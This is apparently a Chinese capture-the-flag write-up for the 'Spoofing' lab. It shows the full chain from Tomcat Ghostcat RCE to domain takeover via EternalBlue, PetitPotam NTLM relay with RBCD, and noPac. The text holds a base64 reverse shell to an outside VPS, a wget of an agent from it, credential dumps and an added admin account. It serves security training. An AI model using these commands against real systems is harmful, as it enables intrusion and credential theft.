Spoofing

Spoofing是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机

tag

TomcatWebClientCoerce AuthenticationnoPacNTLM

信息搜集

先用fscan扫一下机器
./fscan.exe -h 39.99.132.128

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start infoscan
39.99.132.128:8080 open
39.99.132.128:8009 open
39.99.132.128:22 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://39.99.132.128:8080 code:200 len:7091 title:后台管理
已完成 3/3
[*] 扫描结束,耗时: 27.1707897s

发现8009端口开放,搜索得知为Tomcat默认端口,搜索相关漏洞,发现Tomcat-Ajp协议文件读取漏洞
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/
chmod +x CNVD-2020-10487-Tomcat-Ajp-lfi.py
读取文件WEB-INF/web.xml
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 39.99.132.128 -p 8009 -f WEB-INF/web.xml

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Getting resource at ajp13://39.99.132.128:8009/asdf
----------------------------
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
<display-name>Archetype Created Web Application</display-name>

<security-constraint>
<display-name>Tomcat Server Configuration Security Constraint</display-name>
<web-resource-collection>
<web-resource-name>Protected Area</web-resource-name>
<url-pattern>/upload/*</url-pattern>
</web-resource-collection>
<auth-constraint>
<role-name>admin</role-name>
</auth-constraint>
</security-constraint>

<error-page>
<error-code>404</error-code>
<location>/404.html</location>
</error-page>

<error-page>
<error-code>403</error-code>
<location>/error.html</location>
</error-page>

<error-page>
<exception-type>java.lang.Throwable</exception-type>
<location>/error.html</location>
</error-page>

<servlet>
<servlet-name>HelloServlet</servlet-name>
<servlet-class>com.example.HelloServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>HelloServlet</servlet-name>
<url-pattern>/HelloServlet</url-pattern>
</servlet-mapping>

<servlet>
<display-name>LoginServlet</display-name>
<servlet-name>LoginServlet</servlet-name>
<servlet-class>com.example.LoginServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginServlet</servlet-name>
<url-pattern>/LoginServlet</url-pattern>
</servlet-mapping>

<servlet>
<display-name>RegisterServlet</display-name>
<servlet-name>RegisterServlet</servlet-name>
<servlet-class>com.example.RegisterServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>RegisterServlet</servlet-name>
<url-pattern>/RegisterServlet</url-pattern>
</servlet-mapping>

<servlet>
<display-name>UploadTestServlet</display-name>
<servlet-name>UploadTestServlet</servlet-name>
<servlet-class>com.example.UploadTestServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UploadTestServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>

<servlet>
<display-name>DownloadFileServlet</display-name>
<servlet-name>DownloadFileServlet</servlet-name>
<servlet-class>com.example.DownloadFileServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadFileServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
</web-app>

发现如下文件上传路由

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<servlet-mapping>
<servlet-name>UploadTestServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>


进行文件上传配合tomcat ajp协议任意属性设置导致文件执行进行RCE
git clone https://github.com/00theway/Ghostcat-CNVD-2020-10487
创建a.txt
echo 'bash -c bash -i >& /dev/tcp/119.45.8.28/4444 0>&1' | base64
更改base64为自己命令的base64
写入.jsp代码到a.txt
<%out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mIC9kZXYvdGNwLzExOS40NS44LjI4LzQ0NDQgMD4mMQo=}|{base64,-d}|{bash,-i}").getInputStream())).readLine());%>
回显文件上传路径

./upload/1db9b41377b77babfc30c4052578308/20250925031111692.txt
然后进行文件包含触发危险代码执行
python ajpShooter.py http://39.99.132.128:8080 8009 /upload/1db9b41377b77babfc30c4052578308/20250925031111692.txt eval
成功反弹shell

在VPS上起个python内置服务器:
把需要下载的文件放在你执行python命令的路径下,然后执行下面的命令
python3 -m http.server 80
然后在对方机器shell中进行下载,输入下面的命令即可,这里的ip为我们的vps的外网地址,路径为文件名
wget http://119.45.8.28/linux_x64_agent
如果不行可以试试ping一下,ping通了就是能下,可能是文件名错了之类的
./linux_x64_agent -l 44444 -s 123
./linux_x64_admin -c 39.99.132.128:44444 -s 123
成功连接,先用stowaway传个fscan上去
upload /home/kali/Desktop/fscan /tmp/xx/fscan
挂个代理
socks 12345
然后起shell
shell
拿flag01

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root@ubuntu:/root/flag# cat flag01.txt
cat flag01.txt
████████ ████ ██
██░░░░░░ ██████ ░██░ ░░ █████
░██ ░██░░░██ ██████ ██████ ██████ ██ ███████ ██░░░██
░█████████░██ ░██ ██░░░░██ ██░░░░██░░░██░ ░██░░██░░░██░██ ░██
░░░░░░░░██░██████ ░██ ░██░██ ░██ ░██ ░██ ░██ ░██░░██████
░██░██░░░ ░██ ░██░██ ░██ ░██ ░██ ░██ ░██ ░░░░░██
████████ ░██ ░░██████ ░░██████ ░██ ░██ ███ ░██ █████
░░░░░░░░ ░░ ░░░░░░ ░░░░░░ ░░ ░░ ░░░ ░░ ░░░░░

This is the first flag you get.

flag01: flag{10e32b00-2f48-45a1-b407-760619d715ef}

然后扫内网网段
ifconfig
./fscan -h 172.22.11.0/24

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start infoscan
(icmp) Target 172.22.11.6 is alive
(icmp) Target 172.22.11.76 is alive
(icmp) Target 172.22.11.26 is alive
(icmp) Target 172.22.11.45 is alive
[*] Icmp alive hosts len is: 4
172.22.11.76:8080 open
172.22.11.45:445 open
172.22.11.26:445 open
172.22.11.6:445 open
172.22.11.45:139 open
172.22.11.26:139 open
172.22.11.6:139 open
172.22.11.45:135 open
172.22.11.26:135 open
172.22.11.6:135 open
172.22.11.76:22 open
172.22.11.6:88 open
172.22.11.76:8009 open
[*] alive ports len is: 13
start vulscan
[*] NetInfo
[*]172.22.11.26
[->]XR-LCM3AE8B
[->]172.22.11.26
[*] NetInfo
[*]172.22.11.6
[->]XIAORANG-DC
[->]172.22.11.6
[+] MS17-010 172.22.11.45 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios 172.22.11.6 [+] DC:XIAORANG\XIAORANG-DC
[*] NetBios 172.22.11.26 XIAORANG\XR-LCM3AE8B
[*] WebTitle http://172.22.11.76:8080 code:200 len:7091 title:后台管理
[*] NetBios 172.22.11.45 XR-DESKTOP.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1
已完成 13/13
[*] 扫描结束,耗时: 7.825968821s

172.22.11.45 MS17-010
172.22.11.6 域控
172.22.11.26
172.22.11.76 本机
配置msf
msfconsole

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use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 39.99.132.128
set lport 4567
run

然后打永恒之蓝,这里msf内置的流量转发打不通
用stowaway的socks5代理
set proxies socks5:127.0.0.1:12345
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set rhosts 172.22.11.45
set lport 4567
exploit
还是不行,用proxychains代理试试
proxychains msfconsole

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use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set rhosts 172.22.11.45
set lport 4567
exploit


成功连接,拿flag02

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meterpreter > cat C:/Users/Administrator/flag/flag02.txt
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
##
:####: :#### ##
:###### ##### ##
##: :# ##
## ##.###: .####. .####. ####### #### ##.#### :###:##
###: #######: .######. .######. ####### #### ####### .#######
:#####: ### ### ### ### ### ### ## ## ### :## ### ###
.#####: ##. .## ##. .## ##. .## ## ## ## ## ##. .##
:### ## ## ## ## ## ## ## ## ## ## ## ##
## ##. .## ##. .## ##. .## ## ## ## ## ##. .##
#:. :## ### ### ### ### ### ### ## ## ## ## ### ###
#######: #######: .######. .######. ## ######## ## ## .#######
.#####: ##.###: .####. .####. ## ######## ## ## :###:##
## #. :##
## ######
## :####:


flag02: flag{ffd82b2a-8762-4dd2-95c2-bae51147e03b}

msf不能起shell,也可以导出hash
hashdump

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Administrator:500:aad3b435b51404eeaad3b435b51404ee:48f6da83eb89a4da8a1cc963b855a799:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

远程连接读flag
proxychains impacket-smbexec Administrator@172.22.11.45 -hashes aad3b435b51404eeaad3b435b51404ee:48f6da83eb89a4da8a1cc963b855a799
然后列举所有凭据
load kiwi
creds_all

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[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username Domain NTLM SHA1
-------- ------ ---- ----
XR-DESKTOP$ XIAORANG 738dcc0171b84e1a36400008983a3e10 fdc3f1fd9d44fea97d24ce212d6339ec890cfdf4
yangmei XIAORANG 25e42ef4cc0ab6a8ff9e3edbbda91841 6b2838f81b57faed5d860adaf9401b0edb269a6f

wdigest credentials
===================

Username Domain Password
-------- ------ --------
(null) (null) (null)
XR-DESKTOP$ XIAORANG 7d c7 ba cf 2e 52 36 1a 8a 7c 53 e3 dc 71 7e d4 3a 3e c1 e5 60 0d 09 2a a6 b2 b3 73 19 32 1f d8 7d 28 69 48 fe 7a 4c 28 32 49 58 e9 47 71 98 8e 51 c0 80 74 ed 14 91 fb e0 43 21 37 75 cf d5 91 5
3 0f 96 03 48 99 1d 54 34 52 71 96 b0 a2 af 96 96 c4 18 53 4b 71 f6 72 22 2b 74 64 69 05 38 e9 d6 a2 22 cc 3a 98 f2 7d aa f2 e0 07 ee 92 8c 31 24 fa 42 c4 94 1b e5 8e c4 df 80 c0 09 7b aa af dd
cd 8f 86 08 e1 41 4d 53 2e 0d d8 91 2f d8 36 a8 1f 7a e8 0d 47 a4 16 1a c4 56 b9 e0 96 13 ef c9 70 8c 64 8d 9a d5 75 7f 2f 3d c4 36 5e 1f 8a 16 6c 9e aa 11 01 b1 13 ab 0d f8 dd 98 3a d1 01 b6
e1 f5 51 50 82 eb 02 b5 bb c0 cc 4b 63 f4 71 0f 2c 49 de 19 3d a3 cf ab 32 29 a6 69 04 77 76 63 a7 3a 5a b9 f6 7f 97 b9 6b ff 22 84 6e 22 9d
yangmei XIAORANG xrihGHgoNZQ

kerberos credentials
====================

Username Domain Password
-------- ------ --------
(null) (null) (null)
xr-desktop$ XIAORANG.LAB 7d c7 ba cf 2e 52 36 1a 8a 7c 53 e3 dc 71 7e d4 3a 3e c1 e5 60 0d 09 2a a6 b2 b3 73 19 32 1f d8 7d 28 69 48 fe 7a 4c 28 32 49 58 e9 47 71 98 8e 51 c0 80 74 ed 14 91 fb e0 43 21 37 75 cf d5
91 53 0f 96 03 48 99 1d 54 34 52 71 96 b0 a2 af 96 96 c4 18 53 4b 71 f6 72 22 2b 74 64 69 05 38 e9 d6 a2 22 cc 3a 98 f2 7d aa f2 e0 07 ee 92 8c 31 24 fa 42 c4 94 1b e5 8e c4 df 80 c0 09 7b
aa af dd cd 8f 86 08 e1 41 4d 53 2e 0d d8 91 2f d8 36 a8 1f 7a e8 0d 47 a4 16 1a c4 56 b9 e0 96 13 ef c9 70 8c 64 8d 9a d5 75 7f 2f 3d c4 36 5e 1f 8a 16 6c 9e aa 11 01 b1 13 ab 0d f8 dd 98
3a d1 01 b6 e1 f5 51 50 82 eb 02 b5 bb c0 cc 4b 63 f4 71 0f 2c 49 de 19 3d a3 cf ab 32 29 a6 69 04 77 76 63 a7 3a 5a b9 f6 7f 97 b9 6b ff 22 84 6e 22 9d
xr-desktop$ XIAORANG.LAB (null)
yangmei XIAORANG.LAB xrihGHgoNZQ

得到yangmei的密码xrihGHgoNZQ
尝试密码喷洒攻击
proxychains -q crackmapexec smb 172.22.11.0/24 -u 'yangmei' -p 'xrihGHgoNZQ'

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SMB         172.22.11.6     445    XIAORANG-DC      [*] Windows 10 / Server 2019 Build 17763 x64 (name:XIAORANG-DC) (domain:xiaorang.lab) (signing:True) (SMBv1:False)
SMB 172.22.11.45 445 XR-DESKTOP [*] Windows Server 2008 R2 Enterprise 7601 Service Pack 1 x64 (name:XR-DESKTOP) (domain:xiaorang.lab) (signing:False) (SMBv1:True)
SMB 172.22.11.26 445 XR-LCM3AE8B [*] Windows 10 / Server 2019 Build 18362 x64 (name:XR-LCM3AE8B) (domain:xiaorang.lab) (signing:False) (SMBv1:False)
SMB 172.22.11.6 445 XIAORANG-DC [+] xiaorang.lab\yangmei:xrihGHgoNZQ
SMB 172.22.11.45 445 XR-DESKTOP [+] xiaorang.lab\yangmei:xrihGHgoNZQ
SMB 172.22.11.26 445 XR-LCM3AE8B [+] xiaorang.lab\yangmei:xrihGHgoNZQ

扫一下WEBDAV
proxychains crackmapexec smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -d xiaorang.lab -M Webdav 2>/dev/null

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SMB         172.22.11.45    445    XR-DESKTOP       [*] Windows Server 2008 R2 Enterprise 7601 Service Pack 1 x64 (name:XR-DESKTOP) (domain:xiaorang.lab) (signing:False) (SMBv1:True)
SMB 172.22.11.6 445 XIAORANG-DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:XIAORANG-DC) (domain:xiaorang.lab) (signing:True) (SMBv1:False)
SMB 172.22.11.26 445 XR-LCM3AE8B [*] Windows 10 / Server 2019 Build 18362 x64 (name:XR-LCM3AE8B) (domain:xiaorang.lab) (signing:False) (SMBv1:False)
SMB 172.22.11.45 445 XR-DESKTOP [+] xiaorang.lab\yangmei:xrihGHgoNZQ
SMB 172.22.11.6 445 XIAORANG-DC [+] xiaorang.lab\yangmei:xrihGHgoNZQ
SMB 172.22.11.26 445 XR-LCM3AE8B [+] xiaorang.lab\yangmei:xrihGHgoNZQ
WEBDAV 172.22.11.26 445 XR-LCM3AE8B WebClient Service enabled on: 172.22.11.26

扫一下PetitPotam
proxychains crackmapexec smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -d xiaorang.lab -M PetitPotam 2>/dev/null
发现26机器开着WebClient Service,存在PetitPotam
无ADCS + Petitpotam + ntlm中继打法

攻击链:用petitpotam触发存在漏洞且开启了webclient服务的目标,利用petitpotam触发目标访问我们的http中继服务,目标将会使用webclient携带ntlm认证访问我们的中继,并且将其认证中继到ldap,获取到机器账户的身份,以机器账户的身份修改其自身的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,允许我们的恶意机器账户模拟以及认证访问到目标机器 (RBCD)
如果WebClient在目标机器上开启,那么攻击者可以使用强制技术(例如PetitPotam、PrinterBug)来滥用 WebClient 服务,从而强制进行身份验证,后续通过设置基于资源的约束委派等方式来获取目标机器的最高权限。

关于weblcient relay的原理参考:Privilege Escalation - NTLM Relay over HTTP (Webdav),文章的作者也是云境的靶场设计者。

我们把服务器端口的流量转发到客户端本地的80,但SSH的反向端口转发监听的时候只会监听127.0.0.1,这里我们让流量 0.0.0.0:80 转发到 127.0.0.1:79
ssh-keygen -t rsa -b 4096
cat /root/.ssh/id_rsa.pub
echo "ssh-rsa ..." >/root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
然后ssh转发流量
ssh -i id_rsa root@39.99.132.128 -D 0.0.0.0:1080 -R \*:79:127.0.0.1:80
这里相当于开了一个socks5代理到1080
然后再反向转发回客户端本地的80
nohup socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:localhost:79 &

本地测试
nc -lvvp 80
proxychains curl http://172.22.11.76:80
可以看到这里流量已经成功转发,curl 172.22.11.76的流量转发到了我们本地kali

接着本地开启开启ntlmrelayx,利用前面拿下的XR-Desktop作为恶意机器账户设置RBCD
proxychains impacket-ntlmrelayx -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access
使用Petitpotam触发 XR-LCM3AE8B 认证到172.22.11.76 (ubuntu)
git clone https://github.com/topotam/PetitPotam
proxychains python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt 172.22.11.26

使用msf抓取的XR-Desktop的hash申请票据
proxychains impacket-getST -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator -hashes :738dcc0171b84e1a36400008983a3e10 xiaorang.lab/XR-Desktop\$ -dc-ip 172.22.11.6
得到administrator@cifs_XR-LCM3AE8B.xiaorang.lab@XIAORANG.LAB.ccache

然后进行psexec无密码连接
export KRB5CCNAME=administrator@cifs_XR-LCM3AE8B.xiaorang.lab@XIAORANG.LAB.ccache
proxychains impacket-psexec xiaorang.lab/administrator@XR-LCM3AE8B.xiaorang.lab -k -no-pass -target-ip 172.22.11.26 -codec gbk
拿flag03

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C:\Users\Administrator\flag> type flag03.txt
___ _ __ __ _ __ _
/ __| | '_ \ ___ ___ / _| (_) _ _ / _` |
\__ \ | .__/ / _ \ / _ \ | _| | | | ' \ \__, |
|___/ |_|__ \___/ \___/ _|_|_ _|_|_ |_||_| |___/
_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'

flag03: flag{86d51603-a217-4a08-869d-1ff6d9486157}

看一下端口
netstat -ano
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 60
发现rdp(远程连接端口3389)开放,注册用户进行登录
net user xianxin pass@123 /add
这里密码太简单可能会注册失败
net localgroup administrators xianxin /add
添加管理员权限组方便后续以管理员权限运行
在windows上也挂个代理
./linux_x64_agent -l 44445 -s 123
./windows_x64_admin.exe -c 39.99.132.128:44445 -s 123
远程桌面连接
然后用管理员权限运行mimikatz
privilege::debug
sekurlsa::logonpasswords

重点为zhanghui的hash

nopac,只有zhanghui能成功,zhanghui在MA_Admin组,MA_Admin 组对computer 能够创建对象

nopac攻击漏洞原理原理大致如下
1、我们创建了与DC机器账户名字相同的机器账号(不以$结尾,与CVE-2021-42278结合,此时AD未对域内机器用户名做验证)
2、账户请求TGT后,更改账户名字,通过S4U2Self申请TGS 票据
3、DC在TGS_REP阶段,这个账户不存在,DC用自己的密钥加密TGS 票据,提供一个属于该账号的PAC,此时得到一个高权限的ST

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Authentication Id : 0 ; 855308 (00000000:000d0d0c)
Session : RemoteInteractive from 2
User Name : zhanghui
Domain : XIAORANG
Logon Server : XIAORANG-DC
Logon Time : 2025/9/25 14:11:54
SID : S-1-5-21-3598443049-773813974-2432140268-1133
msv :
[00000003] Primary
* Username : zhanghui
* Domain : XIAORANG
* NTLM : 1232126b24cdf8c9bd2f788a9d7c7ed1
* SHA1 : f3b66ff457185cdf5df6d0a085dd8935e226ba65
* DPAPI : 4bfe751ae03dc1517cfb688adc506154
tspkg :
wdigest :
* Username : zhanghui
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : zhanghui
* Domain : XIAORANG.LAB
* Password : (null)
ssp :
credman :
cloudap :

打noPac
git clone https://github.com/Ridter/noPac
proxychains python3 noPac.py xiaorang.lab/zhanghui -hashes ':1232126b24cdf8c9bd2f788a9d7c7ed1' -dc-ip 172.22.11.6 --impersonate Administrator -create-child -use-ldap -shell
拿flag04

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C:\windows\system32>type C:\Users\Administrator\flag\flag04.txt
8""""8
8 eeeee eeeee eeeee eeee e eeeee eeeee
8eeeee 8 8 8 88 8 88 8 8 8 8 8 8
88 8eee8 8 8 8 8 8eee 8e 8e 8 8e
e 88 88 8 8 8 8 88 88 88 8 88 "8
8eee88 88 8eee8 8eee8 88 88 88 8 88ee8

You successfully got the last flag.

flag04: flag{39ac82df-e49e-4ca1-80b9-35981880625d}

参考

红队域渗透NTLM Relay:强制认证方式总结